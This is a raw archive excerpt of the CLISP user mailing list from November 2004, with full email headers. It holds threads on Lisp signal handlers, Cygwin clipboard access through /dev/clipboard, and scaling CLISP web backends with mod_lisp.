https://lists.sourceforge.net/lists/listinfo/clisp-list > > > > ------------------------------------------------------- > SF.Net email is sponsored by Shop4tech.com-Lowest > price on Blank Media > 100pk Sonic DVD-R 4x for only $29 -100pk Sonic DVD+R > for only $33 > Save 50% off Retail on Ink & Toner - Free Shipping > and Free Gift. > http://www.shop4tech.com/z/Inkjet_Cartridges/9_108_r285 > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > __________________________________ Do you Yahoo!? Read only the mail you want - Yahoo! Mail SpamGuard. http://promotions.yahoo.com/new_mail From Joerg-Cyril.Hoehle@t-systems.com Mon Nov 01 05:29:07 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1COcF6-0000n2-TS for clisp-list@lists.sourceforge.net; Mon, 01 Nov 2004 05:29:04 -0800 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1COcF4-0000yr-9E for clisp-list@lists.sourceforge.net; Mon, 01 Nov 2004 05:29:04 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Mon, 1 Nov 2004 14:28:54 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 1 Nov 2004 14:27:20 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03020E8DF2@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: pjb@informatimago.com Subject: Re: [clisp-list] linux:signal handling examples MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="ISO-8859-15" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Nov 1 05:46:12 2004 X-Original-Date: Mon, 1 Nov 2004 14:27:12 +0100 Pascal J.Bourguignon writes: >In wrap.lisp, there's a signal handling example where the >test-handler uses format to prints a message. I can't look at the source for now, but this should be deleted. >Does clisp implement some special magic to allow it safely? No. >Is the whole lisp available during signal handlers?=20 >Are all common-lisp functions reentrants? >What about garbage collection? You raise the right questions. You MUST NOT write signal handlers in Lisp in CLISP. Remember my e-mail from 21.1.2003 on "must not use signal handlers = written in Lisp". Regards, J=F6rg H=F6hle. From Joerg-Cyril.Hoehle@t-systems.com Mon Nov 01 05:39:51 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1COcPT-0002xS-AN for clisp-list@lists.sourceforge.net; Mon, 01 Nov 2004 05:39:47 -0800 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1COcPR-0006xc-2y for clisp-list@lists.sourceforge.net; Mon, 01 Nov 2004 05:39:47 -0800 Received: from g8pbq.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP; Mon, 1 Nov 2004 14:38:34 +0100 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 1 Nov 2004 14:38:47 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03020E8DFA@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: elvin_peterson@yahoo.com Subject: Re: [clisp-list] clipboard using clisp MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Nov 1 06:11:16 2004 X-Original-Date: Mon, 1 Nov 2004 14:38:44 +0100 Elvin Peterson writes: >There is no directory named /dev, but fopen calls to >/dev/clipboard succeeds in cygwin with gcc. >There is a cygwin specific solution with the /dev/* >class of files. I am able to use this from C, so why >doesn't it work from clisp, which is written in C? >The error I get is: >/dev : no such directory This is because CLISP checks all the directories (and possibly symlinks) in pathnames like /foo/bar/zot/file.txt I'm unsure whether CLISP should add an #ifdef CYGWIN in the source (like there are (or were?) special cases for /proc/) or whether the cygnus people should add meaningful behaviour to open("/dev"). I remember when the ixmul.library on AmigaOS was changed to return a directory listing when opening "/". cygwin.dll is like ixemul.library for MS-Windows. The present case sounds similar. Regards, Jorg Hohle. From jbarciela@yahoo.com Mon Nov 01 09:52:31 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1COgM3-0000Ue-0K for clisp-list@lists.sourceforge.net; Mon, 01 Nov 2004 09:52:31 -0800 Received: from web10703.mail.yahoo.com ([216.136.130.211]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.41) id 1COgLz-0006bi-Lx for clisp-list@lists.sourceforge.net; Mon, 01 Nov 2004 09:52:30 -0800 Message-ID: <20041101175227.27113.qmail@web10703.mail.yahoo.com> Received: from [204.254.118.4] by web10703.mail.yahoo.com via HTTP; Mon, 01 Nov 2004 09:52:27 PST From: Jaime Barciela To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] newb from j2ee Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Nov 1 09:58:53 2004 X-Original-Date: Mon, 1 Nov 2004 09:52:27 -0800 (PST) Hello all, I'm very new to the Lisp world in general and I'm just starting to discover it's potential. I'm a Java developer, my everyday thing is J2EE (Servlets, EJB, etc) and I want to set up an equivalent system in Lisp. I think I'll use CLisp + mod_lisp + Apache2 for that. (I chose CLisp because I need to deploy on Windows) and I'm in the process to figure out all the details. The problem is, I just discovered CLisp doesn't have threads and I think that must affect negatively the scalability when the number of hits start (hopefully) to grow. So, my question is: how have you solved this? if every request from mod_lisp must be served by the same thread in a first-com-first-serve fashion, how soon before that "pipe" becomes a botleneck? If I wanted to have a site with, say, Amazon's load, can I still use Lisp and have excelent performance? (I hope the answer is yes here) Sorry if the whole thing is a non-issue and I just think I have a problem because of my ignorance. I guess this is part of "getting" how things work in Lispland. Thanks for any help. Jaime __________________________________ Do you Yahoo!? Read only the mail you want - Yahoo! Mail SpamGuard. http://promotions.yahoo.com/new_mail From Joerg-Cyril.Hoehle@t-systems.com Tue Nov 02 01:31:40 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1COv0t-000524-VJ for clisp-list@lists.sourceforge.net; Tue, 02 Nov 2004 01:31:39 -0800 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1COv0s-0004n1-6h for clisp-list@lists.sourceforge.net; Tue, 02 Nov 2004 01:31:39 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Tue, 2 Nov 2004 10:13:29 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 2 Nov 2004 10:09:33 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03020E8EF8@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: jbarciela@yahoo.com Subject: Re: [clisp-list] newb from j2ee MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 2 01:36:34 2004 X-Original-Date: Tue, 2 Nov 2004 10:09:31 +0100 Jaime Barciela wrote: >I need to deploy on Windows >and >If I wanted to >have a site with, say, Amazon's load Just curious: I read yesterday for the nth time that high-load servers and MS-Windows do not fit together. Do you have significant evidence to the contrary or do you need powerpoint bullets ("scalable" "threads" "new" "MS-windows" "widely used biz platform")? On most .ppt presentations I get to see, buzzwords like "scalable", "reliable" etc. are defined to mean a very restricted form of ability (others may call such restricte use a lie) when you start to question them (e.g. "99.99%, well you're right, it's the HW, not the SW nor the OS, nobody knows for the SW"). >So, my question is: how have you solved this? if every >request from mod_lisp must be served by the same >thread in a first-com-first-serve fashion, how soon >before that "pipe" becomes a botleneck? I'm pretty sure mod_lisp can handle a pool of lisp backends. In a reliable system configuration, one generally preallocates resources according to available CPU, HD and RAM size and sets maximum limits[*], in this case the number of concurrent CLISP backends, and mod_lisp distributes the load. This works well for 3-tier applications (i.e. a backend database manages concurrency). Tell me, how many concurrent connections to the DB do J2EE applications use? But ask the lisp_web + mod_lisp experts. [*] this is much preferable than to have the system die in a non-controllable way from no more resources under heavy load. Regards, Jorg Hohle. From jbarciela@yahoo.com Tue Nov 02 06:25:55 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1COzbe-0008Bb-FO for clisp-list@lists.sourceforge.net; Tue, 02 Nov 2004 06:25:54 -0800 Received: from web10704.mail.yahoo.com ([216.136.130.212]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.41) id 1COzbd-0007IZ-TA for clisp-list@lists.sourceforge.net; Tue, 02 Nov 2004 06:25:54 -0800 Message-ID: <20041102142553.21347.qmail@web10704.mail.yahoo.com> Received: from [204.254.118.4] by web10704.mail.yahoo.com via HTTP; Tue, 02 Nov 2004 06:25:53 PST From: Jaime Barciela Subject: Re: [clisp-list] newb from j2ee To: clisp-list@lists.sourceforge.net Cc: "Hoehle, Joerg-Cyril" In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A03020E8EF8@S4DE8PSAAGS.blf.telekom.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 2 06:29:39 2004 X-Original-Date: Tue, 2 Nov 2004 06:25:53 -0800 (PST) Hello Jorg, Like you, I wouldn't try to build Amazon on Windows :) I'm not trying to "enhance" reality here. On one hand I need the real potential to handle many requests[*], on the other hand I need the flexibility to scale it down to any humble PC to serve just a few people. You could say I'm trying to build a cathedral out of clay. > I'm pretty sure mod_lisp can handle a pool of lisp > backends. That would be great. Do you think it can grow/shrink depending on the actual load? In a portable way? I'll ask in the mod_lisp list, but if you know... But then I wouldn't have a REPL to fix production problems anymore, right? I would have several, and then the synchronization (say I fix a bug in one) becomes an issue. Is that how it would work? Or they will be synchronized somehow (filesystem?) ? > Tell me, how many concurrent connections to the DB > do J2EE applications use? As many as your DB can handle, if you want. In Weblogic for example you define a pool with a min and a max capacity, and it will adjust to the load automatically. > But ask the lisp_web + mod_lisp experts. I will. Thanks for your answer Jorg [*] I guess not as many as Amazon, but why to put limits yourself from the very beginning? I'm in the research phase anyway. --- "Hoehle, Joerg-Cyril" wrote: > Jaime Barciela wrote: > >I need to deploy on Windows > >and > >If I wanted to > >have a site with, say, Amazon's load > > Just curious: I read yesterday for the nth time that > high-load servers and MS-Windows do not fit > together. Do you have significant evidence to the > contrary or do you need powerpoint bullets > ("scalable" "threads" "new" "MS-windows" "widely > used biz platform")? > > On most .ppt presentations I get to see, buzzwords > like "scalable", "reliable" etc. are defined to mean > a very restricted form of ability (others may call > such restricte use a lie) when you start to question > them (e.g. "99.99%, well you're right, it's the HW, > not the SW nor the OS, nobody knows for the SW"). > > >So, my question is: how have you solved this? if > every > >request from mod_lisp must be served by the same > >thread in a first-com-first-serve fashion, how soon > >before that "pipe" becomes a botleneck? > > I'm pretty sure mod_lisp can handle a pool of lisp > backends. > In a reliable system configuration, one generally > preallocates resources according to available CPU, > HD and RAM size and sets maximum limits[*], in this > case the number of concurrent CLISP backends, and > mod_lisp distributes the load. This works well for > 3-tier applications (i.e. a backend database manages > concurrency). > > Tell me, how many concurrent connections to the DB > do J2EE applications use? > > But ask the lisp_web + mod_lisp experts. > > [*] this is much preferable than to have the system > die in a non-controllable way from no more resources > under heavy load. > > Regards, > Jorg Hohle. > __________________________________ Do you Yahoo!? Check out the new Yahoo! Front Page. www.yahoo.com From kraehe@copyleft.de Tue Nov 02 10:03:56 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CP30e-0007aH-80 for clisp-list@lists.sourceforge.net; Tue, 02 Nov 2004 10:03:56 -0800 Received: from mout0.freenet.de ([194.97.50.131]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1CP30d-0007YB-Dj for clisp-list@lists.sourceforge.net; Tue, 02 Nov 2004 10:03:56 -0800 Received: from [194.97.50.136] (helo=mx3.freenet.de) by mout0.freenet.de with esmtpa (Exim 4.43) id 1CP30Z-00007i-P9; Tue, 02 Nov 2004 19:03:51 +0100 Received: from i84fc.i.pppool.de ([85.73.132.252] helo=bakunin.copyleft.de) by mx3.freenet.de with esmtpa (ID freenet_bakunin@freenet.de) (Exim 4.43 #2) id 1CP30Z-0004eY-F9; Tue, 02 Nov 2004 19:03:51 +0100 Received: from kraehe by bakunin.copyleft.de with local (Exim 3.35 #1 (Debian)) id 1CP30b-0000AJ-00; Tue, 02 Nov 2004 19:03:53 +0100 From: Michael Koehne To: Jaime Barciela , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] newb from j2ee Message-ID: <20041102180352.GA535@bakunin.copyleft.de> References: <20041102142553.21347.qmail@web10704.mail.yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20041102142553.21347.qmail@web10704.mail.yahoo.com> User-Agent: Mutt/1.3.28i X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_PLUS BODY: Text interparsed with + Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 2 10:10:55 2004 X-Original-Date: Tue, 2 Nov 2004 19:03:52 +0100 Moin Jaime Barciela, > On one hand I need the real potential to handle many > requests[*], on the other hand I need the flexibility > to scale it down to any humble PC to serve just a few > people. You could say I'm trying to build a cathedral > out of clay. A humble PC might be fast enough to emulate the MVS system of your local bank, and to run a dozen user mode Linux systems same time. Compare it with a workstation like a Sun 3/50 (4MB RAM, 500MB harddisk, 1192x900 monocrom display,ethernet) or a Mainframe (max 16MB RAM, DASD disks of 100MB-3GB,token ring) and your humble PC is slow, if you are running the wrong operating system. > > I'm pretty sure mod_lisp can handle a pool of lisp > > backends. I dislike the Apache/mod_XXX approach, if handling a large amount of concurrent users. Given a 100MIPS/64MB system Apache/mod_perl/SSL drains down to 1.5 transactions per second, using a null database. Better do it like the Zope people did, and build your own application server that is ansering on port 80. Writing a webserver is an easy task, just SSL is a bit tricky and depends on the availability of libraries. I think that a garbage collector language, can handle a large number of users. Clisp is the only Lisp that has a footprint comparable to MVS+CICS. Most other Lisp's are much larger in memory consumption. You might want to run a kind of network consolidator on port 80, to store requests of application servers telling the number of free users, and anser to outside requests with a 'Location:' telling ip and port of a free application server. Those application servers should use select() to avoid dropping the line, so each server is limited to 200 users, if I count about 50 other sockets. One might run a really large number of users, if you manage to give each server a footprint of lets say 64MB lisp core on a humble PC. Call it Clisp/Kicks (instead of Cobol/CICS), if you have time to write such a beast. Bye Michael -- mailto:kraehe@copyleft.de UNA:+.? 'CED+2+:::Linux:2.4.22'UNZ+1' http://www.xml-edifact.org/ CETERUM CENSEO WINDOWS ESSE DELENDAM From elvin_peterson@yahoo.com Tue Nov 02 10:09:45 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CP36H-0000b3-4E for clisp-list@lists.sourceforge.net; Tue, 02 Nov 2004 10:09:45 -0800 Received: from web52201.mail.yahoo.com ([206.190.39.83]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.41) id 1CP36F-0000Cu-Ew for clisp-list@lists.sourceforge.net; Tue, 02 Nov 2004 10:09:44 -0800 Message-ID: <20041102180908.64727.qmail@web52201.mail.yahoo.com> Received: from [61.1.144.36] by web52201.mail.yahoo.com via HTTP; Tue, 02 Nov 2004 10:09:08 PST From: Elvin Peterson Subject: Re: [clisp-list] clipboard using clisp To: Clisp In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A03020E8DFA@S4DE8PSAAGS.blf.telekom.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 2 10:14:47 2004 X-Original-Date: Tue, 2 Nov 2004 10:09:08 -0800 (PST) --- "Hoehle, Joerg-Cyril" wrote: > Elvin Peterson writes: > >There is no directory named /dev, but fopen calls > to > >/dev/clipboard succeeds in cygwin with gcc. > > >There is a cygwin specific solution with the /dev/* > >class of files. I am able to use this from C, so > why > >doesn't it work from clisp, which is written in C? > >The error I get is: > >/dev : no such directory > This is because CLISP checks all the directories > (and possibly symlinks) in pathnames like > /foo/bar/zot/file.txt > > I'm unsure whether CLISP should add an #ifdef CYGWIN > in the source (like there are (or were?) special > cases for /proc/) > or whether the cygnus people should add meaningful > behaviour to open("/dev"). > > I remember when the ixmul.library on AmigaOS was > changed to return a directory listing when opening > "/". cygwin.dll is like ixemul.library for > MS-Windows. The present case sounds similar. > Thanks for the reply. That is what I suspected. Is there a way to turn the directory checking off? I have received a suggestion about using FFI, and that looks promising. __________________________________ Do you Yahoo!? Check out the new Yahoo! Front Page. www.yahoo.com From elvin_peterson@yahoo.com Tue Nov 02 10:11:21 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CP37o-00010y-D4 for clisp-list@lists.sourceforge.net; Tue, 02 Nov 2004 10:11:20 -0800 Received: from web52203.mail.yahoo.com ([206.190.39.85]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.41) id 1CP37m-0000UE-Pl for clisp-list@lists.sourceforge.net; Tue, 02 Nov 2004 10:11:20 -0800 Message-ID: <20041102181113.40406.qmail@web52203.mail.yahoo.com> Received: from [61.1.144.36] by web52203.mail.yahoo.com via HTTP; Tue, 02 Nov 2004 10:11:13 PST From: Elvin Peterson Subject: Re: [clisp-list] clipboard using clisp To: Clisp In-Reply-To: <41855D37.D32CF336@ieee.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 2 10:15:41 2004 X-Original-Date: Tue, 2 Nov 2004 10:11:13 -0800 (PST) --- Donna and Dan Stanger wrote: > Now try to use the foreign function interface for > clisp in cygwin to > execute the same thing. > Or post to the clisp mailing list with this example. > Dan > How can I implement something like this in FFI? TIA. > Elvin Peterson wrote: > > > This works: > > > > #include > > > > int main(int argc, char **argv){ > > FILE *fp; > > int c; > > > > fp = fopen("/dev/clipboard", "w"); > > while ((c = getchar()) != EOF) > > if (c != '\r') > > putc(c, fp); > > fclose(fp); > > return 0; > > } > > __________________________________ Do you Yahoo!? Check out the new Yahoo! Front Page. www.yahoo.com From edi@agharta.de Tue Nov 02 10:52:15 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CP3l8-0003m2-ET for clisp-list@lists.sourceforge.net; Tue, 02 Nov 2004 10:51:58 -0800 Received: from ns.agharta.de ([62.159.208.90] helo=miles.agharta.de ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CP3l7-00038u-7e for clisp-list@lists.sourceforge.net; Tue, 02 Nov 2004 10:51:58 -0800 Received: from GROUCHO (trane.agharta.de [62.159.208.82]) by miles.agharta.de (Postfix) with ESMTP id AC35D2CC0D6 for ; Tue, 2 Nov 2004 19:51:48 +0100 (CET) To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] newb from j2ee References: <20041102142553.21347.qmail@web10704.mail.yahoo.com> <20041102180352.GA535@bakunin.copyleft.de> From: Edi Weitz X-Home-Page: http://weitz.de/ Mail-Copies-To: never In-Reply-To: <20041102180352.GA535@bakunin.copyleft.de> (Michael Koehne's message of "Tue, 2 Nov 2004 19:03:52 +0100") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 2 11:06:57 2004 X-Original-Date: Tue, 02 Nov 2004 19:51:48 +0100 On Tue, 2 Nov 2004 19:03:52 +0100, Michael Koehne wrote: > I dislike the Apache/mod_XXX approach, if handling a large amount of > concurrent users. Given a 100MIPS/64MB system Apache/mod_perl/SSL > drains down to 1.5 transactions per second, using a null database. What exactly did you do in each request? I've done tests with Apache/mod_lisp/CMUCL which were a /lot/ faster than that. Edi. From clisp@elmiura.ch Tue Nov 02 17:47:33 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CPAFI-00044y-9g for clisp-list@lists.sourceforge.net; Tue, 02 Nov 2004 17:47:32 -0800 Received: from mx1.imp.ch ([157.161.9.16] helo=pop.imp.ch) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CPAFG-0001v5-Vz for clisp-list@lists.sourceforge.net; Tue, 02 Nov 2004 17:47:32 -0800 Received: from demare.elmiura.ch (cable-54-130.intergga.ch [157.161.54.130]) by pop.imp.ch (8.12.11/8.12.11/Submit) with ESMTP id iA31lMnU066969 for ; Wed, 3 Nov 2004 02:47:23 +0100 (CET) (envelope-from clisp@elmiura.ch) From: Christoph Steinemann To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] newb from j2ee User-Agent: KMail/1.6.2 References: <20041102142553.21347.qmail@web10704.mail.yahoo.com> <20041102180352.GA535@bakunin.copyleft.de> In-Reply-To: MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <200411030245.27268.clisp@elmiura.ch> X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 